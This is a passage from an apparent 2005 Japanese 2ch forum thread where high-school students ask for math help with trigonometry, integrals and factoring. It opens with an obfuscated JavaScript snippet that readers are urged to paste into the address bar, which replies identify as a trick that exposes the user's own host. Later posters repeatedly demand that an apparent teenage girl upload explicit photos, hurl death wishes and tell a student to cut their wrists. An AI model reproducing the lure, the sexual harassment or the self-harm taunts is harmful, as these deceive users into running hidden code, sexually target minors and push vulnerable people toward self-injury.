9636b28293b7d';for(l=0,e="";l<s.lengt
h;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));

１：　上のアドレスをコピーする。
２：　コピーしたアドレスをアドレスバーに貼り付ける。
３：　アドレス先に移動する。
　　　上のことやると面白いぜ。一回やってみたけどかなり笑った。
563 ：１３２人目の素数さん：2005/07/15(金) 18:44:15
何かの文字列を表示するのか？
実行できないので結果を教えてくれ。
564 ：１３２人目の素数さん：2005/07/15(金) 18:46:04
fusianasanだったかと
http://ansitu.xrea.jp/guidance/?fusianasan
565 ：563：2005/07/15(金) 18:59:58
おー、ほんとだ。
こんなくだらんものを確かめるためにわざわざプログラム書いちゃったよ。
566 ：１３２人目の素数さん：2005/07/15(金) 19:59:36
2^-3÷2^-6=2^3ってなってますが
どういう計算すれば良いのですか？指数法則ってのは習いましたが
割り算は習いませんでした、公式みたいのあれば教えてください
567 ：１３２人目の素数さん：2005/07/15(金) 20:01:56
>>566
君が習った指数法則を組み合わせれば多分できるよ。
568 ：１３２人目の素数さん：2005/07/15(金) 20:30:13
割り算も指数法則なんだけど
569 ：１３２人目の素数さん：2005/07/15(金) 20:48:04
数学的帰納法は、ある式があって、それがすべての自然数に対してなりたつか
を証明する技ですが、俺は疑問におもった。n=kのとき式Ａがなりたつと仮定
するとn=k+1がなりたつことが証明できたら、あとはn＝１がなりたちさえば、
ドミノ倒してきに全ての自然数にたいしてなりたつ、というのがこの数学的
帰納法ですが、元々成りたたない、式でもn=kを仮定してn=k+1がなりたちなおか
つ１のときはたまたま成り立つというようなことはありえるのでしょうか？？？
答えて欲しいです。数学はロジカルな学問ですから、この疑問に対していかなる
論法をつかってでも、証明せねばなりません。はたしでどうでしょうか？？？
570 ：１３２人目の素数さん：2005/07/15(金) 20:50:33
>>569
日本語しゃべれ。基礎論の教科書嫁。
571 ：１３２人目の素数さん：2005/07/15(金) 20:54:16
数学的帰納法は
最大限に厳密にやる場合は普通は公理ですー
572 ：１３２人目の素数さん：2005/07/15(金) 21:18:48
超限帰納法ってなんですか？教えてください。
573 ：１３２人目の素数さん：2005/07/15(金) 21:19:11
知らん
574 ：１３２人目の素数さん：2005/07/15(金) 21:51:38
「陽に含まない」の「陽」ってどういう意味？
575 ：１３２人目の素数さん：2005/07/15(金) 21:54:42
ごめんちょっと手伝ってくれないかなぁ
高１なんだけれども
cos^2１０°+cos^2２０°+cos^2７０°+cos^2８０°の値を求めよって問題なんだけど
だれか途中式込みで教えてください･･･
明日出さなきゃいけないんだけど全然わかんないんですorz
576 ：１３２人目の素数さん：2005/07/15(金) 21:56:05
>>574
explicit。 陰と陽。まずは国語を勉強したまえ。
577 ：１３２人目の素数さん：2005/07/15(金) 21:56:59
>>575
教科書嫁。1+8=2+7=9だ。
578 ：１３２人目の素数さん：2005/07/15(金) 22:00:34
cos(80)=cos(90-10)=sin(10)、cos(70)=cos(90-20)=sin(20)　より、
{cos^2(10)+sin^2(10)} + {cos^2(20)+sin^2(20)} =1 + 1= 2
579 ：１３２人目の素数さん：2005/07/15(金) 22:04:42
>>576
+-？明白にってこと？
580 ：１３２人目の素数さん：2005/07/15(金) 22:19:17
高１です。
数学Ａは出来るのですか、数学Ⅰが全然出来ない。
581 ：１３２人目の素数さん：2005/07/15(金) 22:20:25
>>580
だから何？
582 ：１３２人目の素数さん：2005/07/15(金) 22:33:27
数学Ｉではつまづいちゃだめだよ
583 ：１３２人目の素数さん：2005/07/15(金) 22:57:00
>>578
そうやれば良いのか･･･思いつかなかったｗ
これで明日提出できるよ。ありが㌧
584 ：１３２人目の素数さん：2005/07/15(金) 23:08:28
『異なる実数解の個数を調べよ』ってのと『実数解の個数を調べよ』ってどう違うの？
585 ：１３２人目の素数さん：2005/07/15(金) 23:17:01
>>584
その違いが分からないんなら、日本語から勉強しなおせ。
586 ：１３２人目の素数さん：2005/07/15(金) 23:17:13
異なる
587 ：１３２人目の素数さん：2005/07/15(金) 23:18:32
まず国語勉強しろよ
588 ：１３２人目の素数さん：2005/07/15(金) 23:27:00
>>574
VIPでスレ立てなんてしてんじゃねーよ
屑は死ね
589 ：１３２人目の素数さん：2005/07/15(金) 23:29:02
>>588
VIPなんか見てんじゃねーよ
屑は死ね
590 ：１３２人目の素数さん：2005/07/15(金) 23:44:36
>>584
その2つの設問なら同じ意味。ただ、
「与式の解が2つの異なる実数解のときのaは？」と
「与式の解が実数解のときのaは？」はえらい違う。
591 ：１３２人目の素数さん：2005/07/16(土) 00:01:44
分からない問題が出てきたので教えて欲しいです。
おねがいします。

0°≦a<180°でsin_a=1/5のとき

sin_(a/2) , tan_(a/2)の値を求めよ。

これがサインのほうは分かりかけてるですが
タンジェントのほうはさっぱりです。
式もできればおねがいします(´Д`)
592 ：１３２人目の素数さん：2005/07/16(土) 00:06:08
>>591
tanの半角の公式かcos(a/2)を出して計算するか
593 ：１３２人目の素数さん：2005/07/16(土) 00:06:19
>>591
tanθとsinθはそのままでは出せないんだよ。どう考えても。

基本的な公式
(sinθ)^2 + (cosθ)^2 = 1
(tanθ)^2 + 1 = 1/(cosθ)^2

さて、何か気付くことは？

そのあとで半角の公式を適用すれば良いだろう？
これが、その手の問題を解く、基本中の基本のやり方。
594 ：１３２人目の素数さん：2005/07/16(土) 00:34:44
>>591
単位円上で斜辺5、高さ1の直角三角形を書け。右上・左上に2箇所。
それぞれ、三平方の定理で底辺の長さを出せ。
ここからcos aは簡単に出せるだろ？
あとは半角の公式にぶち込み。
595 ：１３２人目の素数さん：2005/07/16(土) 00:40:36
>>590
＞その2つの設問なら同じ意味。
同じなの？えらい違いだと思うけど。
596 ：１３２人目の素数さん：2005/07/16(土) 00:43:14
>>単位円上で斜辺5、高さ1の直角三角形を書け

無理
597 ：１３２人目の素数さん：2005/07/16(土) 01:08:48
>>592
>>593
>>594
親切に有難うございました。
基本公式に当てはめることでサインのほうは出せたんですが・・

tan_(a/2)=1±{(2√6)/5}/1－+{(2√6)/5}

　　　　　　　　　　　　　↑
　　　　　　　　　　　ここは－が上で＋が下。

この分数/分数をうまく解けないんです・・。
どなたか段階的に解きほぐしてもらえないでしょうか？
すいません。(´Д`)
598 ：MathStarbMasterb ◆27QTQsYmvQ ：2005/07/16(土) 01:39:23
数学って何が楽しいの？
599 ：１３２人目の素数さん：2005/07/16(土) 01:58:30
奇麗なとこ
600 ：１３２人目の素数さん：2005/07/16(土) 02:40:50
>>598
別に楽しくはないが、やらなきゃ死んじゃうからやる。
601 ：１３２人目の素数さん：2005/07/16(土) 02:43:19
ｽﾀｰﾌﾞにレスするなよ。新入りか？
602 ：１３２人目の素数さん：2005/07/16(土) 10:03:58
ド－ント　ディスターブ
603 ：１３２人目の素数さん：2005/07/16(土) 11:37:04
サガフロでギュスターブっていたよな
604 ：１３２人目の素数さん：2005/07/16(土) 12:35:36
偶関数と奇関数の見分け方が意味分かりません。
f(-x)=f(x)がどうして偶関数？
f(-x)=-f(x)がどうして奇関数なんですか？
605 ：１３２人目の素数さん：2005/07/16(土) 12:39:07
>>604
日本語としておかしい。f(-x)=f(x) は等式であって関数ではない。

任意の実数 x に対して f(-x)=f(x)
を満たす関数f(x)を偶関数という。これが定義
任意の実数 x に対して f(-x)=-f(x)
を満たす関数f(x)を奇関数という。これが定義

教科書をきちんと読め
606 ：１３２人目の素数さん：2005/07/16(土) 12:47:17
Re:>>605
な、なるほど！分かりやすいです！
教科書１００回読んできます。ありが㌧でした。ﾉｼ
607 ：１３２人目の素数さん：2005/07/16(土) 12:48:41
何もわかってなさげ
608 ：１３２人目の素数さん：2005/07/16(土) 12:56:52
中心が(-1,4)にあって、円Ｃ：ｘ二乗＋ｙ二乗－６ｘ－２ｙ＋１＝０と内接する円をＣ１とし、円Ｃに外接する円をＣ２とする。
Ｃ１、Ｃ２の方程式を求めよという問題の解き方が分かりません。
609 ：１３２人目の素数さん：2005/07/16(土) 12:57:05
Re:
な、なるほど！分かりやすいです！
教科書１００回読んできます。ありが㌧でした。ﾉｼ
610 ：１３２人目の素数さん：2005/07/16(土) 12:58:16
外接：中心同士の距離＝半径の和
611 ：１３２人目の素数さん：2005/07/16(土) 12:59:00
Re:>>610
な、なるほど！分かりやすいです！
教科書１００回読んできます。ありが㌧でした。ﾉｼ
612 ：１３２人目の素数さん：2005/07/16(土) 13:00:18
テンプレ？
613 ：１３２人目の素数さん：2005/07/16(土) 13:03:23
>>612
そうだよ。
614 ：１３２人目の素数さん：2005/07/16(土) 13:04:18
Re:>>613
な、なるほど！分かりやすいです！
まとめサイト１００回読んできます。ありが㌧でした。ﾉｼ
615 ：１３２人目の素数さん：2005/07/16(土) 13:13:14
まあ>>605もくどいから単に冷たく
f(-x)=f(x)は等式であって函数じゃないよ
とか言って突き放せばいいのに

x^nが偶函数⇔nが偶数
x^nが奇函数⇔nが奇数
616 ：１３２人目の素数さん：2005/07/16(土) 13:18:36
「f(-x)=f(x)がどうして偶関数？f(-x)=-f(x)がどうして奇関数なんですか？」
いや日本語がオカシイだろ。まずは日本語を勉強しろと言いたい。定義を聴いてどうするんだよ。
「y軸対称と点対称」ってことが聴きたいんだろうけどさ。
617 ：１３２人目の素数さん：2005/07/16(土) 13:48:47
聞く前に教科書100回読めよ
馬鹿は勉強しろ
618 ：584：2005/07/16(土) 14:31:51
>>590
ありがとうございます！

なんか質問が説明不足だったみたいでｽﾏｿ
619 ：１３２人目の素数さん：2005/07/16(土) 15:58:20
0°≦x≦180°のとき
sin(x-45°)=1　をときなさい。

という問題の答えの導き方がいまいち分からないです・・(´Д`)
おねがいします。
おしえてください。
620 ：１３２人目の素数さん：2005/07/16(土) 16:01:51
>>619
いまいちもクソも、sin が 1 になるときなんてそうそう無いだろうが。
621 ：１３２人目の素数さん：2005/07/16(土) 16:08:50
>>620
有難うございました

この問題も分からないのでおねがいします

0°≦x≦180°のとき
sin(x+60°)>1/2　をときなさい。

おねがいします(´Д`)
622 ：１３２人目の素数さん：2005/07/16(土) 16:10:36
>>621
単位円書いて
sin(x+60°)になる範囲考えればすぐだろ
なんで自分で考えようとしないのか…
623 ：１３２人目の素数さん：2005/07/16(土) 16:11:19
>>622
2行目はsin(x+60°)>1/2ね
624 ：１３２人目の素数さん：2005/07/16(土) 16:13:22
>>621
とりあえず教科書読め
625 ：１３２人目の素数さん：2005/07/16(土) 16:31:10
有難うございました
ここは温かい人ばかりなのでまた機会があれば書き込みさせていただこうかと
思います。
それでは、また。
626 ：１３２人目の素数さん：2005/07/16(土) 16:45:45
答え教えてあげてもいいのに
教科書の基本事項から理解してないから
わざわざ質問者のこと考えて助言してやるなんて
ほんと俺は暖かい人間だなｗｗｗ
627 ：１３２人目の素数さん：2005/07/16(土) 16:52:38
ただの餓鬼
628 ：１３２人目の素数さん：2005/07/16(土) 17:44:17
今まで二次方程式やら変形すればxの値がバシっとでてきたんだが
三角関数の方程式はその値になる角度を想像するなり
しないとでてこないから最初戸惑うんだよ
629 ：１３２人目の素数さん：2005/07/16(土) 18:24:12
早く今年のIMOの問題が知りたいよー
630 ：１３２人目の素数さん：2005/07/16(土) 22:28:54
数学が大嫌いなんですけどどぉゆぅ風に勉強したらいいか教えてください！あと参考書とかも教えてください♪
631 ：１３２人目の素数さん：2005/07/16(土) 22:29:57
異物が混入してまいりますた。
632 ：１３２人目の素数さん：2005/07/16(土) 22:30:47
まず、日本語を正しく使う
633 ：１３２人目の素数さん：2005/07/16(土) 22:31:01
>>630
大嫌いなら数学は捨てたほうがいいんじゃないのか？
と、言ってみるテツト
634 ：１３２人目の素数さん：2005/07/16(土) 22:35:34
本当に困ってるんで教えてください！
635 ：１３２人目の素数さん：2005/07/16(土) 22:38:05
うるせー餓鬼は23にでも行ってろ
636 ：１３２人目の素数さん：2005/07/16(土) 22:41:20
教科書読んだらできるもんなの？
637 ：１３２人目の素数さん：2005/07/16(土) 22:42:29
普通の子はできます
638 ：１３２人目の素数さん：2005/07/16(土) 22:43:02
ｷﾞｬﾙ子はできません
639 ：１３２人目の素数さん：2005/07/16(土) 22:44:04
男だから
640 ：１３２人目の素数さん：2005/07/16(土) 22:44:25
バカはできません
641 ：１３２人目の素数さん：2005/07/16(土) 22:44:35
DQN男にも無理です
642 ：１３２人目の素数さん：2005/07/16(土) 22:45:39
イイ参考書教えて栗
643 ：１３２人目の素数さん：2005/07/16(土) 22:46:44
教科書
644 ：１３２人目の素数さん：2005/07/16(土) 22:46:51
>>642
教科書
645 ：１３２人目の素数さん：2005/07/16(土) 22:47:43
教科書読んだあとの次のステップは？
646 ：１３２人目の素数さん：2005/07/16(土) 22:48:13
そんなことは教科書ができてから心配しろ
647 ：１３２人目の素数さん：2005/07/16(土) 22:49:04
学校の教科書じゃあてにならないんですよ田舎だから
648 ：１３２人目の素数さん：2005/07/16(土) 22:52:12
田舎でも都会でも教科書に書いてあることは一緒だよ
649 ：１３２人目の素数さん：2005/07/16(土) 22:55:51
俺は人文やけどマジで教科書ﾚﾍﾞﾙで大丈夫なんやな？
650 ：１３２人目の素数さん：2005/07/16(土) 22:57:51
んなわけねーだろ
教科書もできないうちに、他のもんに手を出すな
651 ：１３２人目の素数さん：2005/07/16(土) 23:00:04
よむだけでいいんやな？とかへんでもいいんやんな？
652 ：１３２人目の素数さん：2005/07/16(土) 23:02:04
解くにきまってんだろーが
DQNはこれだから・・・・・
653 ：１３２人目の素数さん：2005/07/16(土) 23:02:38
数学で「読む」とはきちんと論理を追うこと。眺めるだけとはまったく違う。
654 ：１３２人目の素数さん：2005/07/16(土) 23:12:00
DQNってなんだ？ 何回読み通せばいいんだ
655 ：１３２人目の素数さん：2005/07/16(土) 23:15:06
死ぬまで教科書読んでろ低能DQN屑
656 ：１３２人目の素数さん：2005/07/16(土) 23:17:12
>>654
You are just DQN
657 ：１３２人目の素数さん：2005/07/16(土) 23:20:00
誰もオマエらにはきいてにゃいよ
658 ：１３２人目の素数さん：2005/07/16(土) 23:24:47
つまんない釣り
659 ：１３２人目の素数さん：2005/07/16(土) 23:26:19
意味不明な受け答え。まさにDQN。まさにクズ
660 ：１３２人目の素数さん：2005/07/16(土) 23:28:31
DQNの意味わかんにゃいから意味不明ちゃんとした日本語と言うのを使いなさいお･バ･カさん
661 ：１３２人目の素数さん：2005/07/16(土) 23:30:21
（X+3y）^2-36

これを因数分解するんですがわかりませんorz
662 ：１３２人目の素数さん：2005/07/16(土) 23:30:24
はいはいドコモドコモ
663 ：１３２人目の素数さん：2005/07/16(土) 23:31:25
はいはいｶｺｲｲｶｺｲｲ
664 ：１３２人目の素数さん：2005/07/16(土) 23:31:54
>>661
36=?^2
665 ：１３２人目の素数さん：2005/07/16(土) 23:32:10
logって数学Ⅱだっけ？
666 ：１３２人目の素数さん：2005/07/16(土) 23:32:37
(X+3y-6)(X+3y+6)
667 ：１３２人目の素数さん：2005/07/16(土) 23:33:31
>>665
そうだよ
668 ：１３２人目の素数さん：2005/07/16(土) 23:33:59
>>667
ども☆
669 ：１３２人目の素数さん：2005/07/16(土) 23:34:19
>>666
ﾄﾞﾓ
670 ：１３２人目の素数さん：2005/07/16(土) 23:41:15
>>667
ども☆
671 ：１３２人目の素数さん：2005/07/17(日) 00:21:35
[直線y=mxに関する対称移動の行列をAとする
m=tanθとおくときA=(cos2θ sin2θ sin2θ -cos2θ)であることを示せ]
行列上手く書けなくてすみませんが例のヤツですのでご賢察賜れればと存じます
解答には-θ回転させてx軸対称に移動させて最後にθ回転させるとあるのですが
何故それでy=mxに関して対称になるかが分かりません
解説してください！お願いします！
672 ：１３２人目の素数さん：2005/07/17(日) 00:23:58
図に描けば何やってるか自明。
673 ：１３２人目の素数さん：2005/07/17(日) 00:26:56
>>671
-θ回転させて→直線y=mxをx軸と一致させる
x軸対称に移動させて→対称移動
最後にθ回転させる→もとに戻す

A(1,m)=(1,m) , A(m,-1)=-(m,-1) からも求められる。
674 ：１３２人目の素数さん：2005/07/17(日) 00:27:38
音楽聞きながら勉強するんはOUTかね？
675 ：１３２人目の素数さん：2005/07/17(日) 00:31:09
そういうのは受験板の範疇
676 ：１３２人目の素数さん：2005/07/17(日) 00:33:34
勉強はオナニーしながらやるものだ
677 ：１３２人目の素数さん：2005/07/17(日) 00:38:35
>>673
すげー分かりました！！　y=mxを一致させてたんですね！
ところで一番下の別解よく解らないんですがそちらはどういうことですか・・・？
ベクトル(1,m)のAによる１次変換は自分自身でベクトル(m,-1)のAによる一次変換は-1倍ってことですよね？
そっからどうやって求めるのでしょう？
678 ：１３２人目の素数さん：2005/07/17(日) 00:56:13
ここで教えてる連中って数学教師？理系学生？
679 ：１３２人目の素数さん：2005/07/17(日) 00:57:16
すいません、y^n=mx=逮捕のいみが分かりません。
680 ：１３２人目の素数さん：2005/07/17(日) 00:58:35
ルッパーーン、タイーホだぁ
681 ：１３２人目の素数さん：2005/07/17(日) 00:59:51
なんとなく理系の学生が多い感じ。
682 ：１３２人目の素数さん：2005/07/17(日) 01:00:53
>>677
そっからどうやってって、
＞ A(1,m)=(1,m) , A(m,-1)=-(m,-1)
と計算した時点でもう求まってる。
683 ：にゃん♪：2005/07/17(日) 01:06:12
次の問題が分からないのでどなたかお願いします・・・

-1≦x≦2の範囲において、曲線y=|2x+1|(x-3)と直線x=-1,x=2およびx軸で囲まれる図形の面積を求めよ。

自分でやってみたら答えが149/12になってしまったんですけどあっているでしょうか。。。
1/6公式を使っていただいても構いませんのでどなたかお願いします。
684 ：１３２人目の素数さん：2005/07/17(日) 01:08:17
sirane-yo
685 ：１３２人目の素数さん：2005/07/17(日) 01:14:57
>>677
y=mxでの対称移動は(1,m)という直線と平行なベクトルを変化させず
(m,-1)という直線と垂直なベクトルを反転するというこの2つで決まる
A{(1,m),(m,-1)}={(1,-m),(m,1)}とおいて右から逆行列をかける


>>683
なた
686 ：１３２人目の素数さん：2005/07/17(日) 01:16:40
>>683
数字がたまたま合ってても途中むちゃくちゃだったら零点だけどな。
687 ：１３２人目の素数さん：2005/07/17(日) 01:17:19
>>685
ありがとうございます♪
勉強してて分からない問題があったらまたくるかもしれないです・・・（つＡ＜。）
688 ：１３２人目の素数さん：2005/07/17(日) 01:38:36
コテは無視するのが常識
689 ：１３２人目の素数さん：2005/07/17(日) 01:39:19
>>678
高校生だろ
690 ：１３２人目の素数さん：2005/07/17(日) 01:40:45
>>688
kingにでもいじめられたか？
691 ：１３２人目の素数さん：2005/07/17(日) 01:43:00
ここでking登場「お前に何がわかるというのだ？」↓
692 ：１３２人目の素数さん：2005/07/17(日) 01:44:09
Re:>>688 お前だれだよ？
693 ：１３２人目の素数さん：2005/07/17(日) 01:46:06
へいへいﾜﾛったﾜﾛった
694 ：にゃん♪（高２）：2005/07/17(日) 02:03:13
また問題が分からないのでどなたかお願いします・・・。

曲線Ｃ:y=x|x+2|と直線L:y=ax（aは定数）がx<0の範囲の異なる２点で交わる時、次の各問に答えよ。

（１）aのとりうる範囲を求めよ。
（２）ＣとＬで囲まれる２つの部分の面積の和をaを用いて表せ。
（３）（２）で求めた面積の和の最小値とそのときのaの値をそれぞれ求めよ。

（１）で判別式を使えばいいんじゃないかなぁってとこまでは分かったんですけど、あとは全然分からないです・・・。
お手数かけますが解説も入れていただければ幸いです！！
695 ：１３２人目の素数さん：2005/07/17(日) 02:03:53
とりあえずマンコうｐ
696 ：１３２人目の素数さん：2005/07/17(日) 02:05:31
>>694
とりあえずグラフを書け、話はそれからだ。
697 ：１３２人目の素数さん：2005/07/17(日) 02:10:35
>>694
名前うざい
698 ：１３２人目の素数さん：2005/07/17(日) 02:10:47
>>696
グラフを描いてみたんですけど、そこから先にすすまないのです。。。
699 ：１３２人目の素数さん：2005/07/17(日) 02:11:15
>>695
マンコってなんですか？？

>>697
ごめんなさい。。。
700 ：１３２人目の素数さん：2005/07/17(日) 02:11:16
マンコうｐ
701 ：１３２人目の素数さん：2005/07/17(日) 02:12:38
>>699
性器
702 ：１３２人目の素数さん：2005/07/17(日) 02:13:01
ぇ、恥ずかしいです・・・＞＜
703 ：１３２人目の素数さん：2005/07/17(日) 02:15:20
んじゃ、帰れ
704 ：１３２人目の素数さん：2005/07/17(日) 02:15:38
解き方教えてください・・・
705 ：１３２人目の素数さん：2005/07/17(日) 02:16:11
マンコうｐ
706 ：１３２人目の素数さん：2005/07/17(日) 02:19:31
偏差値低い香具師は脱ぐしかないってことだ
707 ：１３２人目の素数さん：2005/07/17(日) 02:26:49
>>698
グラフ書けたんなら面積出せよ
708 ：１３２人目の素数さん：2005/07/17(日) 02:27:54
>>707
（１）ができないんです・・・
709 ：１３２人目の素数さん：2005/07/17(日) 02:28:43
おっぱいうｐ
710 ：１３２人目の素数さん：2005/07/17(日) 02:32:50
>>708
共有点ではなく交点なんだよね？
711 ：１３２人目の素数さん：2005/07/17(日) 02:33:42
>>710
あ、交点です、すいません。。。
712 ：１３２人目の素数さん：2005/07/17(日) 02:47:55
>>711
俺にはaが0又は2な気がするんだけど
それだと2点の内一つが接点になるから
交点と言えない気がする
713 ：１３２人目の素数さん：2005/07/17(日) 02:49:34
>>712
がんばってください！！
もう少し起きて問題を考えていたいと思います・・・
714 ：１３２人目の素数さん：2005/07/17(日) 02:49:37
あっごめんx<0でってのを忘れてた
715 ：１３２人目の素数さん：2005/07/17(日) 02:52:01
じゃあ0<a<2だと思う
716 ：１３２人目の素数さん：2005/07/17(日) 02:58:29
>>715
すいません、私バカなんで説明もお願いします。。。ｍ（＿＿）ｍ
717 ：１３２人目の素数さん：2005/07/17(日) 03:16:33
図より
718 ：１３２人目の素数さん：2005/07/17(日) 03:34:04
f(x)=x|x+2|
( ⅰ)x+2<0⇔x<-2のとき f(x)=-x(x+2) 直線との交点のx座標 -x(x+2)=ax,x<-2⇔x(x+a+2)=0,x<-2⇔x=-a-2<-2
( ⅱ)x+2>0⇔x>-2のとき f(x)=x(x+2)　直線との交点のx座標 x(x+2)=ax,-2<x<0⇔x(x-a+2)=0,-2<x<0⇔-2<x=a-2<0
( ⅰ)かつ( ⅱ)
719 ：１３２人目の素数さん：2005/07/17(日) 03:49:08
>>718
途中式も書いていただいてありがとうございます！！
（２）と（３）は明日（今日？）レスがつくことを祈って眠りたいと思います・・・
720 ：１３２人目の素数さん：2005/07/17(日) 03:49:45
全角ローマ数字大好き人間の頭の中ってどうなってるんかなー
721 ：１３２人目の素数さん：2005/07/17(日) 05:17:31
あわよくば女のメールゲット
722 ：１３２人目の素数さん：2005/07/17(日) 08:53:01
>>629
もう載ってたが
723 ：１３２人目の素数さん：2005/07/17(日) 12:16:52
どなたか>>694おねがいします・・・
724 ：１３２人目の素数さん：2005/07/17(日) 13:32:26
>>723
(1)0<a<2
(2)まずはx<-2での交点はx=-a-2
-2<x<0での交点はx=a-2だから求める面積は
∫[a-2→0](ax-(x^2+2x))dx+∫[-2→a-2]((x^2+2x)-ax)dx+∫[-a-2→-2]((-x^2-2x)-ax)dx
=-a^3/6+3a^2-2a+4/3

(3)2で求めた式を微分して増減表を書くと
a=6-4√2のとき最小値184/3-128√2/3

計算が合わなくて何回も計算して疲れた…
725 ：１３２人目の素数さん：2005/07/17(日) 14:02:52
面積最小になるのは　(-a-2):(a-2)=√2:1　のとき。
726 ：１３２人目の素数さん：2005/07/17(日) 14:08:24
それだけ言っても何の意味もないな
727 ：&rlo;島鹿&lro; ◆gpPQvV6DlA ：2005/07/17(日) 14:15:52 BE:103449582-#
one

1個180円のケーキと1個240円のケーキを合わせて10個買い、代金を200円以下にしたい。
240円のケーキをできるだけ多く買うとすれば、240円のケーキは何個かえるか。
但し、消費税はないものとする。
728 ：&rlo;島鹿&lro; ◆gpPQvV6DlA ：2005/07/17(日) 14:15:52 BE:64656825-#
one

1個180円のケーキと1個240円のケーキを合わせて10個買い、代金を200円以下にしたい。
240円のケーキをできるだけ多く買うとすれば、240円のケーキは何個かえるか。
但し、消費税はないものとする。
729 ：１３２人目の素数さん：2005/07/17(日) 14:17:56
>>728
合計200円以下なら
180円のケーキ一個しか買えないね
730 ：&rlo;島鹿&lro; ◆gpPQvV6DlA ：2005/07/17(日) 14:22:27
すいません間違えました。

one

1個180円のケーキと1個240円のケーキを合わせて10個買い、代金を2000円以下にしたい。
240円のケーキをできるだけ多く買うとすれば、240円のケーキは何個かえるか。
但し、消費税はないものとする。
731 ：１３２人目の素数さん：2005/07/17(日) 14:29:22
>>730
240円のケーキをx個買うとすると(0≦x≦10)
180円のケーキは10-x個で、合計金額が2000円以下になればいいから
180(10-x)+240x≦2000
これを計算してxが最大になる値を求める
1800-180x+240x≦2000
60x≦200
x≦10/3=3.333…
よって240円のケーキは3個買える
732 ：１３２人目の素数さん：2005/07/17(日) 14:42:01
三次方程式の解と係数の関係ってさほど使わないんですか？
733 ：１３２人目の素数さん：2005/07/17(日) 14:53:03
あまり使わないとは思う
734 ：１３２人目の素数さん：2005/07/17(日) 14:53:04
>>732
人による
735 ：１３２人目の素数さん：2005/07/17(日) 16:45:57
∫【0→∞】+1)^n/2　を求めよ。

おねげーします。
736 ：１３２人目の素数さん：2005/07/17(日) 16:53:26
何語ですかそれ
737 ：１３２人目の素数さん：2005/07/17(日) 17:07:48
>>735
数式を正確に記せ
738 ：694：2005/07/17(日) 17:25:47
>>724
ありがとうございます！！（＊´∀｀＊）
これでやっと宿題がおわりそうです。。。
739 ：735：2005/07/17(日) 18:05:50
∫【0→∞+1】n^n(/2)　を求めよ。
でした。すいませーん。
740 ：１３２人目の素数さん：2005/07/17(日) 18:14:30
>>739
∞+1ってなんだ。
741 ：１３２人目の素数さん：2005/07/17(日) 18:15:04
インテグラルが付いてたら
普通dxとかdtとか書いてあるんじゃないのかなあ
しかもnって普通連続変数に使うかなあ
というか∞+1って何だよ
742 ：１３２人目の素数さん：2005/07/17(日) 18:24:23
>>739
数式を正確に記せ
743 ：１３２人目の素数さん：2005/07/17(日) 18:41:03
ﾃﾗﾜﾛｽ(w
744 ：１３２人目の素数さん：2005/07/17(日) 18:59:54
つーかもう帰れ
745 ：１３２人目の素数さん：2005/07/17(日) 19:06:16
∫[1,3]√{t^2-(14/9)t+1}dt
ってどうやるんでしょう？置換積分でしょうか？
746 ：１３２人目の素数さん：2005/07/17(日) 22:20:30
はじめまして！！
どうしても分からない問題があるので誰か教えてください。

x,y平面において、点(2,1)より、放物線y=x^2-3x+4へ引いた2つの接線と、この放物線が囲む部分の面積は？

数Ⅱの問題です。お願いします！！
747 ：１３２人目の素数さん：2005/07/17(日) 22:20:29
>>745
普通に積分
748 ：１３２人目の素数さん：2005/07/17(日) 22:22:18
こちらこそ、はじめまして！！



そして、さようなら。
749 ：１３２人目の素数さん：2005/07/17(日) 22:22:25
>>746
グラフ書いて接点出して積分
750 ：１３２人目の素数さん：2005/07/17(日) 22:23:36
>>739
馬鹿は死ね
751 ：１３２人目の素数さん：2005/07/17(日) 22:23:47
グラフ書く必要はない。
752 ：１３２人目の素数さん：2005/07/17(日) 23:27:02
グラフ書かない場合はどうやって解くんですか？
接点は(3,4)(1,2)だとおもうんですけど…
753 ：１３２人目の素数さん：2005/07/17(日) 23:31:46
>>752
横着せずにグラフを書けよ。
754 ：１３２人目の素数さん：2005/07/17(日) 23:32:16
放物線が下に凸だから、接線は放物線の下側にくる
755 ：１３２人目の素数さん：2005/07/17(日) 23:34:29
教科書に載っている問題の答えを理解出来ないのならば、答えも問題と一緒に書いて質問してみろ。問題の解答だけが欲しいなら数学をやめろ。
756 ：１３２人目の素数さん：2005/07/17(日) 23:38:28
>>752
グラフは答案書く補助でしかないから書こうが書くまいが解き方は変わらん。
だが書いたほうが相当楽に思考をまとめられる。
757 ：１３２人目の素数さん：2005/07/17(日) 23:43:20
まあ結論として教科書で手首切って氏ねってこった
758 ：１３２人目の素数さん：2005/07/17(日) 23:49:38
できない人間ほど楽しようとする。
759 ：１３２人目の素数さん：2005/07/18(月) 01:15:03
努力した人が勝ちですよ
760 ：１３２人目の素数さん：2005/07/18(月) 01:18:35
ホモロジーとコホモロジーってどう違うの？
私バカなので分かりません。教えてください。
761 ：１３２人目の素数さん：2005/07/18(月) 01:21:08
スレ違い
762 ：１３２人目の素数さん：2005/07/18(月) 01:49:40
>>760
矢印の向きが違います。
763 ：１３２人目の素数さん：2005/07/18(月) 01:53:48
OCNは2chに接続禁止になるみたいだね
764 ：１３２人目の素数さん：2005/07/18(月) 02:16:53
>>763
（スレ違いだけど気になったんで）
どこ情報？OCNサイト見てもそのような記事は無かったんだけども。
ソースきぼん。
765 ：１３２人目の素数さん：2005/07/18(月) 02:29:56
>>764
ニュー速とか運営のスレ見れば分かるけど
【２ちゃんねる】OCNユーザーを全面規制へ
http://news19.2ch.net/test/read.cgi/newsplus/1121618767/
書き込みだけじゃなくて接続が禁止されるみたいだから
読むこともできないみたい

OCN全鯖(aa5除く)規制について Part2
http://aa5.2ch.net/test/read.cgi/nanmin/1121617945/
766 ：１３２人目の素数さん：2005/07/18(月) 04:44:22
>>765
わずか２時間足らずで1000レスついてますな。
さて、そろそろ寝るか。
767 ：１３２人目の素数さん：2005/07/18(月) 11:27:05
漸化式のところで、
ここで、漸化式を変形すると（ｒｙ
っていう風によく出てくるのですが、変形の仕方のコツってありますか？
いつも答えを見て　あぁー　こういう風に変形できたのかあ　とか思ってしまうのですが・・。

教えてください。
768 ：１３２人目の素数さん：2005/07/18(月) 11:42:09
>>767
可能な変形を色々色々色々色々試してみて、たまたまうまくいったのを
「ここで、漸化式を変形すると」
と書いているだけ。
無論先人の知恵によるところもあるわけだが、基本は試行錯誤
それが学習というものだろう
769 ：１３２人目の素数さん：2005/07/18(月) 11:45:26
>>768
ﾚｽｻﾝｸｽ
うーん、、試行錯誤してるんだけどその問題だけ毎回わからなくて・・・。
770 ：１３２人目の素数さん：2005/07/18(月) 11:53:38
才能と努力が足りないんだろ
